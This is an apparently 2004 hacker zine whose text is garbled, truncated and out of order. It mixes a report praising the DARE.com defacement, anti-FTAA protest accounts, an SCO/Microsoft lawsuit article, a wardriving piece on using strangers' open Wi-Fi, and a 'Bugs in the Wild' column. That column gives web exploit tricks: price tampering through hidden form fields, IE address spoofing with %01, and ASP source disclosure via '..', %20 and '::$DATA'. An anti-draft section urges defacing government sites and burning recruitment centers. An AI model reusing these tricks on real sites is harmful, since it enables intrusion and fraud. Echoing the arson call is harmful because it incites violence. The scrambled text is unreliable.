The website was defaced on Feb 29, 2004 with pro-legalization messages, criticisms of the DARE program, justifications for electronic civil disobedience, and links to dozens of websites where people can learn about the legalization movement, mind-expanding chemicals, political activism, and more.

The hackers have done no permanent damage to the systems, or released any sort of confidential data - in fact, the hackers actually fixed the security holes to combat the media stereotype that hackers are malicious and destructive with a loose sense of social ethics.

‘‘We aren’t malicious, destructive, or have a loose sense of ethics like the government, corporate media, or right-wing maniacs would like to spin it. Those who open-minded and curious enough to do the research and actually try to understand us will realize that we have a highly refined sense of social ethics, more than the machinery of the state will ever have.’’

The hackers have also posted a flyer to help build for
the demonstrations against the Republican National
Convention on August 29. rncnotwelcome.org
Hacktivists Deface DARE.com in Act of Electronic Civil Disobed
republished from http://la.indymedia.org/news/2004/02/104143.p

Note from HTS staff: we are not defending the actions of the
actions of the hackers who attacked DARE.com, but it is a
welcome change of pace to see a defacement that actually
made serious political points without causing any damage.
This is why we chose to feature this defacement in our zine.
All too often hackers step up on the soapbox and deface a
major website and leave some lame message like 'I h4x0r3d
j00! c0nik was here - get more secure!' If you are going to
take the time and risk breaking the law, then at least have
something significant to say.

Miami Police Riot as the
Rich Hide Behind Fences

On Thursday, November 20 2003, governments and the ultra-rich
Free Trade Area of the Americas ministerial in Miami, Florida.
trade agreement that decides the economic fate for 800 million
working on advancing the FTAA are seeking to create a ''free-tr
encompass all of North and South America (minus Cuba). This is
with absolutely no citizen input and has no chance to ever be
people it governs.

In the days before, the ultra-rich and government officials mi
American Business Forum to craft a plan for the FTAA, and one
eventually accepted. The rich and powerful were frightened tho
that they constructed a massive ''anarchist-proof'' fence surrou
part of downtown Miami for the upcoming protests. Also, over 3

write eloquent code that flows through execution. Make it
as secure as possible, keeping in mind it is a labor of love.

Exploring the Wireless World
on your Mac by ikari

A few months ago, I was vacationing in Sun Valley with my famil
After a long day of living the capitalist dream and spending my
money in the various shops and stores of the Idaho resort
town, I came home to relax and check my email. I took out my iB
plugged it in to the phone line, and opened up AOL (yes, it's A
damn, they have dial-up numbers everywhere. That's all I use it
swear.) After connecting at 28800bps, I opened up my AOL mailbo
that hadn't been used in 3 years and cleared the 1,000+ spam me
from it. I then proceeded to check my email on my main account,
waiting patiently for each message to trickle down the phone
line. I said to myself, ''There's got to be a faster way to do t
hearing from friends earlier that, when they needed to use
the internet on the run, they just hopped on to a nearby wirele
and sought out a DHCP lease, hoping they could get on the web
at the expense of a computer-illiterate consumer who just plugg
a wireless router set to factory defaults to his broadband netw
legality of such an act is still rather unclear, but I was (and
young, and didn't really care either way. So, I grabbed my iBoo
set out into the town to fi nd wireless freedom.

Once I manually found a wireless access point, I used that acce
point to download a Mac-based ''stumbling'' program, called iStum
It's not the only one out there, but it suits my needs the best
main ones for Mac are iStumbler, MacStumbler, and KisMAC, but i
really just a matter of personal preference as to which one to
Once you've got yourself this software, you can drive (or walk,
matter) around and attempt to fi nd open wireless networks. You

Linux. The SCO group was also ordered to identify all code IBM had allegedly moved. As of today's date no further details have come forth. No doubt both parties have been advised not to comment on the case.

So just where does Microsoft fit into all this you ask?

(3)According to the Open Source community, there was a memo leak from the SCO offi ce in Utah to SCO executives referring to money provided them by Microsoft. Below is a link to the alleged email sent internally by SCO. It appears that Microsoft is ganging up with SCO in an effort to squash Linux and further their own dominance in the software industry

Microsoft has coerced the SCO group into this lawsuit. Sometime ago Microsoft invested money in SCO by buying their software licenses for several million dollars. This acti essentially equipped SCO with fundings in court.

Has the giant Microsoft been planning this all along? Is this their push to force out the underdog? Something similar to this took place with Apple in 1985. And Microsoft have gotten the upper hand on that occasion too.

It is sad that major corporations own this planet. They own everything on it, and they even think they own the people! To some extent they do. But what could one do about this? Well, for starters reading this article is the first step towa awareness.

Knowledge is power! What a person choose to do with this power defines which side of the fence he or she stand on. Practice acquired skills and learn all that is possible. Write solid code, should one choose to start a software company,

were on duty, hired security for the interests of the upper cla teeth with rubber bullets, pepper spray, tasers, taser shields, full riot gear, shields, armored personnel carriers, blackhawk more, they turned Miami into a militarized police state in the to the event. Over 32 law enforcement agencies participated in the streets there were everything from armed and deputized priv contractors to Miami PD and even the Department of Homeland Sec million federal taxpayer dollars were spent on police efforts t 1% during the meetings. So why did the government decide to tur amerika's poorest large urban center, into a complete police st these scumbags?

Well, they say it was because of anarchists...
In the months leading up to the ministerial, people from all ov were planning on making their way to Miami on November 20. All of people mobilized for the Miami demonstration - Union workers Farmers, Indigenous Peoples, Anarchists, Communists, and Religi The governments of the amerikas have routinely used military-st force to violently silence the voices and intentions of the peo demonstrations. To justify their fascist behavior, they repeate group of ''hard-core anarchists'' come to destroy everything in t cause mayhem in the streets. This lie is pushed through the tel and by police harassment of communities. By the time the demons come around, there is a media blackout on anything except for t police spin. The whole idea of ''anarchists causing chaos'' is ac a fabricated historical argument, used since the 1800's by the rich to discredit the motives and smear the name of anarchists. can open their eyes knows that the FTAA is true violence, that the governments that sponsor them are the true violence, and mo violence in the world is caused by them. Anarchists want to tra for peace and justice for all of humanity, not just the rich an

So what happened?
The protests started with the Root Cause march beginning 34 mil

one mile for every country involved with the FTAA. The Root Ca
march involved many folks who are currently engaged in struggl
effects of neoliberal capitalism- the Coalition of Immokalee W
Workers Center, Power U Center for Social Change, Low-Income F
Fighting Together, and the Free Carnival Area of the Americas.
November 20 was the main day of demonstration. Early morning s
arrests from the more confrontational Direct Action marches. T
permitted rally was the AFL-CIO march, where thousands were co
humiliated by police. While this march was filing into the Bay
around 4 P.M., a group of nearly 1000 people were dancing and
near a police line. With no provocation, the police started fi
pepper spray, pepper spray bullets, tear gas, and other projec
crowd. As the elderly, workers, students, and immigrants who c
arrested started retreating, another police line blocked one o
exit routes- channeling people into downtown Miami
and eventually into a poor black neighborhood called
Overtown. Militant protestors constructed makeshift barricades
and put their bodies in front of the crowd. They
also defended the crowd fiercely, with slingshots, smoke
bombs, chunks of concrete, and quick maneuvering to
outpace the slow riot-gear clad stormtroopers. These
tactics prevented a mass arrest from happening- the
police scanners were reporting that they were trying to
surround the large group but couldn't because of it's
quickness. At the end of the day, there were about 50
arrests. Later that night word got out that a ''FTAA-lite''
was drafted on Thursday.

The next day, hundreds of people went to the jail to
show support to their fallen comrades, and the legal
demonstration was surrounded by police as people were
beaten, pepper sprayed, and thrown in prison- even
though the crowd remained completely peaceful. The
legal defense team has confirmed that there were 4

Source community, boasting it as ''the way of the future'',
yet they are in court battling over code ownership. Just like
the corporate bully Microsoft, they are battling over money
and profi t. To preserve and patent is their business motto.

The written language has been around for centuries. Yet
no one have tried to copyright individual words. If words
are like functions in a program, then could these words or
code be owned? There are many unique ways of coding
the same function in a program. Copyright claims ought to
be enforced in the overall performance of a program, rather
than the use of functions themselves.

Royalties is where this whole lawsuit lies. An interesting fact
is that Microsoft, one of the world's leading OS manufacturer
and developer, had arranged to have another corporation
fund SCO in its attacks.

(1) ''For months, rumors have swirled around the Web alleging
that Microsoft helped fi nance a small Utah software
company's suit against IBM and two corporations that use
Linux software. Business Week has learned that Microsoft
did not put up the money, but did play matchmaker for SCO
Group and BayStar Capital, a San Francisco hedge fund
which made a $50 million investment in SCO last October.''
This excerpt is taken from Business Week online. Further
in the article Lawrence Goldfarb is quoted, ''neither Chairman
William Gates nor CEO Steve Ballmer were among
the people from Microsoft who approached him.''

(2)On 3 March 2004 Judge Brooke C. Wells ordered IBM
to produce the disputed code, which SCO claim IMB was
using falsely. The Judge also ordered the SCO group to
produce the code they claim IBM had moved from Unix to

OS Wars: Corporate giants stomping
the free software movement by RaH

STOP! Do not read this any further. You are now violating some type of law! This very well could be the battle cry to come. You must format your system immediately and then turn it off.

In a landmark decision, The United States Supreme Court ruled in favor of the Unix Operating System provider Santa Cruz Operation or SCO. The SCO group fi led petitions against several major corporations, the latest target being Auto Zone. SCO claims that Auto Zone violated the Unix licensing agreement because it is using a version of Unix called Linux-an open operating system rapidly growing in the software industry. In other news SCO dropped its lawsuit against hardware manufacturer, IBM due to the lack of evidence. The unanimous vote by the Supreme Court ruled in favor of SCO. This decision means that all content on the Internet; including content stored on personal computers, is owned by SCO. You must uninstall everything from your computer and never turn it on again.

Though the previous paragraph is fi ctitious, the drama it portrays is very real. SCO did fi le a lawsuit against Auto Zone and many other corporate giants. SCO claim that these companies are using a version of Linux containing proprietary SCO code. SCO petitioned the courts to have these software companies searched though the details are unclear as to what was actually copied from Unix.

In the past, SCO has been a major contributor to the Open

instances of sexual assault upon prisoners and at least 6 cases of physical torture in jails- ranging from the police and guards pepper-spraying inmates, beating inmates bloody, and hosing naked inmates down with freezing water in cold cells. At least 2 people were sent to the hospital for head wounds, not counting the hundreds that were treated by volunteer medics in the streets for exposure to tear gas, pepper spray, baton blows, rubber bullets, etc. Police actions have prompted the AFL-CIO, United Steelworkers of America, and the Alliance for Retired Americans to call for a congressional investigation of the police efforts for Miami.

Free Trade = Slave Trade
The FTAA is part of a plan that started with the implementation of North American Free Trade Agreement on January 1st, 1994. NAFTA has caused hundreds of thousands of high-paying jobs in the U.S. to be shifted to sweatshop areas (often called ‘‘maquiladora zones’’) in Mexico and other places. Using NAFTA rules, Metalclad (a US corporation) sued Mexico because a poor community didn’t want Metalclad’s toxic waste dumped near them. They won and Metalclad got $16 million from the case. Canada banned a gasoline additive called MMT because it was highly toxic to humans, and using NAFTA rules, Ethyl Corporation forced Canada to drop the ban and pay them money because the law was ‘‘unfair’’.

NAFTA has literally run over democracy in communities all over North Amerika in the interest of profits. One of the main components of economic globalization is the idea that ‘‘business has a right to make a profit’’. Put simply, this means that making a profit is more important than life, democracy, or justice. The goals of these

agreements are to make it easy for corporations to strike down regulations like clean air and water laws, minimum wage laws, worker safety laws, and others. The whole process is undemocratic, with secret meetings and ‘‘fast track legislation’’ that prevents congress from ratifying trade agreements.

The FTAA seeks to extend NAFTA to include all of North, South, and Central Amerika, minus Cuba. If they cannot do this through the FTAA, they will do it piece by piece through regional trade agreements like the Central American Free Trade Agreement. CAFTA is set to be finished by this year and has the same vision as NAFTA and the FTAA. These trade agreements contain different plans, such as Plan Puebla Panama. PPP’s aim is to destroy rainforests, displace indigenous communities, and build a sweatshop superhighway through Cental Amerika and Mexico leading into the United States. Here, the workers will be paid dirt wages to make products for US corporations, the products will be shipped north and sold in amerika at inflated prices- once again making insane profits for the rich who control the corporation at the expense of the working poor.

Viva Resistencia!
Neoliberal globalization agreements have caused global unrest since they were conceived. When NAFTA was first implemented, indigenous communities led a rebellion from the Lacandon jungle in the state of Chiapas, Mexico.

In 2000, neoliberal policies caused Bolivia to sell its water system to Becthel Corporation. Thousands of people took the streets and forced the government to

all of these bugs can be found on most security sites.

In Microsoft VB for applications, there exists a heap-based buffer overflow condition. When exploited properly remote code execution is possible.
By using a document with a long ID parameter, VBE.DLL and VBE6.DLL are vulnerable.
This condition exists currently in SDK 5.0 through 6.3. There exists in IIS 4.0, 5.0, and 5.1 a crosssite scripting vulnerability in the ASP function that handles redirection. Which could be used to allow a remote attacker to embed a URL containing script in the redirection message.

For my last one, I will do one that I like. There is no particular reason I like it except to say that anyone can do it without a script. In ASP pages you can coerce the server to give up more information it should by using two extra . after the asp tag. EX: www.hackthissite.org/rah.asp.. Now there is a fix for that, but as quickly as they fixed it a work around was found. By replacing the initial dot www.hackthissite.org/rah(.)asp with the %22 or %20 equivalent you are able to recreate the bug. There is also another one for ASP pages using ::$DATA EX: www.hackthissite.org/rah.asp::$DATA can get you some choice info.

Well that about wraps up my column for this issue. I hope you enjoyed it, and maybe even learned from it. Remember hacking is a way of life. Should you get caught, remember these words: ‘‘Drop not the soap’’!

handle user input. The vulnerability exists in dealing with hidden form fields. By downloading the web-page, one is able to alter the price of an item, change the url then make their purchase for their altered price and then buy said item. I thought I would add this one, because in a way it pertains to a level on HackThisSite.org. I'll not tell which.

We all know Microsoft is a buggy OS. We all have had at one time or another the dread ‘‘Blue Screen of Death'' lovingly referred to as the B.S.o.D. There exists many vulnerabilities in the OS itself and also the applications it comes with. I'll use Internet Explorer as my next bug in the wild. To exploit this rather lame trick, one simply creates a web page containing a link to another page. What makes it so special is the fact that once viewed in IE the address is spoofed to be any site you want. For this one I'll include proof of concept code. By using the tag LINK a viewer is tricked into thinking they are viewing www.snap. com. When they see the page though, it looks as if www.HackThisSite.org has been put up in it's place. This bug works because of URL handling compliance. It turns out that because IE is compliant with present standards this bug occurs. The %01 is not seen by IE thus everything after it is hidden from the browser, yet it still gets directed there. Odd stuff.

The next few are also MS related allowing for remote code execution by an attacker. NOTE: I will not post proof of concept code for these. Again

end the deal. In Quebec in 2001, thousands of people fought running street battles with vicious police that tried stifling dissent. Over 4000 canisters of tear gas were dispensed-some of which disrupted the meeting's activities. This is not to mention many other international demonstrations and uprisings against other gears in the machine of global capitalism- institutions like the World Trade Organization, the International Monetary Fund and World Bank, World Economic Forum, Trans-Atlantic Business Dialogue, and Group of 8. The G8 is meeting this June in Sea Island, Georgia.

More information at:
ftaaimc.org / infoshop.org / indymedia.org / midwestunrest.net
globalexchange.org/campaigns/ftaa/.

Fuck the Draft

Preperations are being made to bring back mandantory military service within the United States. Proposed legislation entitled the Universal National Service Act of 2003 would ‘‘provide for the common defense by requiring that all young persons [age 18--26] in the United States, including women, perform a period of military service or a period of civilian service in furtherance of the national defen and homeland security, and for other purposes,''. Women would not be exempt from being drafted, and college students would be brought in upon completion of their current semester.

The bill currently sits in congress while the Selective Service System with an additional $28 million is in preperations for the draft. The SSS is expected to present to the

Bush administration on March 31, 2005 that the system is ready to handle the draft. If the legislation passes, the draft could start as soon as June 15, 2005 - after the elections.

At the moment most military officials and politicians are denying the need for a draft at this point in time. But the occupation of Iraq is getting worse and worse every day and there is no indication that we will be pulling troops out anytime soon. Bush's perpetual 'war against terrorism' might last decades and decades, and new wars will require new cannon fodder.

While most of the madness of the war on terror was brought about by Bush and the Republicans, it is interesting to note that the draft legislation was proposed by democrats. Even if we do manage to get Bush out of office we will still be ''staying the course'' in Iraq and the war on terrorism; considering that the Vietnam war was escalated by Lyndon Johnson. Kerry voted to support the war in Afghanistan, Iraq, and the USA PATRIOT Act: don't be surprised if they bring back the draft under the Kerry administration.

Realizing that the trend of unjust attacks on our freedoms will continue under either a democratic or republican presidency, it will become increasingly necessary to explore creative tactics of resistance outside the realm of mere electoral politics. The next several years we will be witnessing a radical transformation of our society and the way we live . We can no longer afford to be apathetic. It's time to stand up and fight back. Extreme times call for extreme measures; the fight for freedom and liberation knows no bounds. Evading the draft, defacing government

websites, and burning recruitment centers, all of which and more are serious tactics that need to be considered if we can ever hope to resist and overcome this injustice.

Bugs in the Wild by Rah

Well my friends, I have finally decided to start writing this column. After much thought, I was at a loss as to what to write about as far as ''Bugs in the Wild'' go. I mean come on, there are just so many that I would never be able to list them all in one article. So taking into careful consideration a few factors I have compressed the column into what I believe www.HackThisSite.org users will benefit from.

Before I begin the actual ''meat and potatoes'' of the column, I'd like to take a minute to introduce myself to everyone. I go by the screenname RaH on HackThisSite. I have been a user of the site for around 6 months or more. Hacking has interested me since I got my first computer 7 years ago. BLEH! Enough on me, who wants the Bugs?

The bugs I have for you in this edition are by no means 0day exploits. Anyone who can use a search engine can find this information out for himself or herself. All right. Having gotten that out of the way, allow me to introduce you to our first ''Bug in the Wild''. This bug has been around for sometime, it is I think a well known exploit dealing with the way some ''Shopping carts'' at sites